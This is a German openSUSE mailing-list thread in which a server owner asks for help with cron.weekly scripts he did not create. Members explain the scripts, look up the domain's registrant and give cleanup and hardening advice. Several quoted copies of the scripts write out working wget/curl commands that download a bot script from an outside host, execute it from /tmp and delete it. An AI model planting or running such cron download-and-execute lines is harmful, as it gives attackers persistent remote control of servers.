Hi, Am 12/09/2014 um 03:03 PM schrieb Joerg Thuemmler:

Am 09.12.2014 14:51, schrieb Bernhard Junk: [...]

...

File 00logrotate #!/bin/sh wget [Suspicious URL Removed by Alcatel Lucent Email Security Gateway] -O /tmp/sh curl -o /tmp/sh [Suspicious URL Removed by Alcatel Lucent Email Security Gateway] sh /tmp/sh;rm -rf /tmp/sh

Das lies sich löschen

File logrotater

#!/bin/sh wget -q [Suspicious URL Removed by Alcatel Lucent Email Security Gateway] -O /tmp/sh sh /tmp/sh;rm /tmp/sh

ich habe mich schon gewundert was das

[Suspicious URL Removed by Alcatel Lucent Email Security Gateway] bei wget oben in der ersten Mail sollte, aber das hat anscheinend unser ALU Mail Filter die URL geändert. Dem was diese anscheinend auch sehr suspekt ;-) Gruss Werner -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org

Hallo Bernhard, wget und curl sind zwei Möglichkeiten, Dateien aus dem Internet herunterzuladen. wget kann als Ersatz für ftp und http verwendet werden, curl kann noch viel mehr Protokolle. Beide Aufrufe laden die regular.bot-Datei herunter und legen sie als /tmp/sh ab. Wenn wget nicht existiert (weil es nicht installiert ist), macht es curl, wenn curl nicht existiert, hat es wget schon getan. Anschließend wird regular.bot jetzt unter dem Namen /tmp/sh in einer shell (sh) geöffnet und nach der Ausführung gelöscht. So kann derjenige, der die Datei auf stablehost.us ablegen kann, jeden beliebigen Befehl auf Deinem Rechner ausführen. Nach meinem Geschmack ist das sehr einfach gestrickt. Selbst die Verzeichnis- und Filenamen weisen ja direkt darauf hin, dass hier etwas seltsames passiert. - Aber wer schaut schon täglich in sein /etc/cron.weekly hinein? Gruß Jan Am 09.12.2014 um 15:17 schrieb Bernhard Junk:

Hallo Jörg,

ich habe mir das schon gedacht, als ich am 28.11.2014 nicht mehr aus der Ferne auf meinen Server zugreifen konnte. Da wurden verschiedene Dateien verändert. Nach einem Neustart ging aber alles wieder. Ich bin dabei einen neuen Server auf OS13.1 aufzusetzen. Was sollte ich zusätzlich beachten, damit sowas nicht mehr passiert? Passwort werde ich auf jeden Fall ändern. Was sonst?

Was bedeuten diese Kommandos in der logrotate? Wget kenne ich nicht richtig.

Gruss Bernd

Am 09.12.2014 um 15:03 schrieb Joerg Thuemmler:

...

Am 09.12.2014 14:51, schrieb Bernhard Junk:

...

Hallo, habe hier auf meinem Webserver in der /etc/cron.weekly einen Eintrag der nicht von mir stammt. Ich glaube, ich bin da gehackt worden. Ich möchte diesen Eintrag löschen aber es geht nicht: Keine Berechtigung obwohl die Rechte als root:root stehen. Wie kann ich diesen Eintrag löschen zumal es so aussieht, als ob da Informationen weitergegeben werden. Ich habe das File mal aufgeführt.

File 00logrotate #!/bin/sh wget http://stablehost.us/bots/regular.bot -O /tmp/sh curl -o /tmp/sh http://stablehost.us/bots/regular.bot sh /tmp/sh;rm -rf /tmp/sh

Das lies sich löschen

File logrotater

#!/bin/sh wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh sh /tmp/sh;rm /tmp/sh

Das lässt sich nicht löschen.

Kann mir jemand erklären, was das bedeutet?

Gruss Bernd

Hi,

#whois stablehost.us

Domain Name: STABLEHOST.US Domain ID: D26827113-US Sponsoring Registrar: INTERNET.BS CORP. Sponsoring Registrar IANA ID: 814 Registrar URL (registration services): http://www.internet.bs Domain Status: clientTransferProhibited Variant: STABLEHOST.US Registrant ID: INTE2WRL0UZK4FSB Registrant Name: sben koutsoukis Registrant Address1: 2 STAROSLOBODSKIY PEREULOK Registrant City: moscow Registrant Postal Code: 089 Registrant Country: Russian Federation Registrant Country Code: RU Registrant Phone Number: +7.4959384737 Registrant Email: bluejeans980@mail.ru

also ich würde in diesem Falle:

1. das Netzwerkkabel erstmal rausziehen 2. die Platte(n) ausbauen 3. das System auf leeren Platten neu installieren 4. hoffen, dass ich saubere Backups habe, diese genau prüfen, ehe ich sie als absolut rechtlosester User mounten würde

Ich weiß nicht, was Du Dir da eingefangen hast (und vor allem, wie), aber ich würde sagen, es sieht nicht gut aus. Kann sein, ich sehe zu schwarz, vielleicht reicht es ja, eine Knoppix zu booten und den Kram von da zu löschen, aber ich denke, wenn Du es regulär im System nicht mehr löschen kannst (als root), dann ist root nicht mehr root und jemand anderes bei Dir root... ;-(

cu jth

-- _________________________________________________________________ Jan Handwerker http://www.imk-tro.kit.edu/jan.handwerker.php

On 12/09/2014 03:26 PM, Martin Schröder wrote:

Am 9. Dezember 2014 um 15:23 schrieb Handwerker, Jan (IMK) :

...

etwas seltsames passiert. - Aber wer schaut schon täglich in sein /etc/cron.weekly hinein? Dafür gibt's tripwire / samhain etc.

blergh, tripwire. dafür nimmt man doch heute aide, das ist schneller weil schlauer implementiert. Dazu noch rkhunter und chkrootkit, und die mails von denen auch wirklich lesen! cheers MH -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org

On 12/09/2014 04:07 PM, Martin Schröder wrote:

Am 9. Dezember 2014 um 15:55 schrieb Mathias Homann :

...

blergh, tripwire. dafür nimmt man doch heute aide, das ist schneller weil schlauer implementiert. Lebt das noch? Stable release 0.15.1 / September 10, 2010; 4 years ago Preview release 0.16a1 / February 16, 2011; 3 years ago

...tripwire ist auch nicht aktueller, letztes release laut sourceforge ist von herbst 2011... Cheers MH -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org

On Tue, Dec 09, 2014 at 03:22:47PM +0100, Martin Schröder wrote:

Am 9. Dezember 2014 um 14:51 schrieb Bernhard Junk :

...

File 00logrotate #!/bin/sh wget http://stablehost.us/bots/regular.bot -O /tmp/sh

404 :-{

...

File logrotater

#!/bin/sh wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh sh /tmp/sh;rm /tmp/sh

Das lässt sich nicht löschen.

Soll heißen?

Wahrscheinlich mit chattr +i immutable gemacht wenn es ein so simples bot script ist.

...

Kann mir jemand erklären, was das bedeutet?

Die Scripte laden ein Shellscript und führen das aus.

Erstmal den Cron abstellen: sudo systemctl stop cron

Wenn Du nicht sicher herausfinden kannst, wie der Einbruch geschah und das Loch schließen kannnst: Nuke it from orbit.

Genau, Daten backupen so schnell wie moeglich und neu installieren. Ciao, Marcus -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org